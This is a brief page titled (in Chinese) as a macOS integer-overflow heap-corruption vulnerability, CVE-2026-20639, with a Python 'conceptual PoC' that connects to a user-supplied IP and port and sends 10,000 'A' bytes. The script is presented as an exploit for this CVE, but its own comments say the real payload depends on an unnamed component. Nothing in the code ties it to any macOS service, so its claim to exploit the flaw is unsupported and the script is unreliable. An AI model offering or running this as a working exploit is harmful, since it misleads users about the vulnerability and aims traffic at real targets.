CVE-2026-20639 macOS整数溢出致堆损坏漏洞

#!/usr/bin/env python3 # This is a conceptual PoC for CVE-2026-20639 # It demonstrates sending a crafted string to trigger the integer overflow import socket import sys def send_exploit(target_ip, target_port): try: # Crafted malicious string designed to trigger integer overflow # The specific length/pattern depends on the vulnerable component payload = b"A" * 10000 print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(payload) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_20639_poc.py <target_ip> <target_port>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))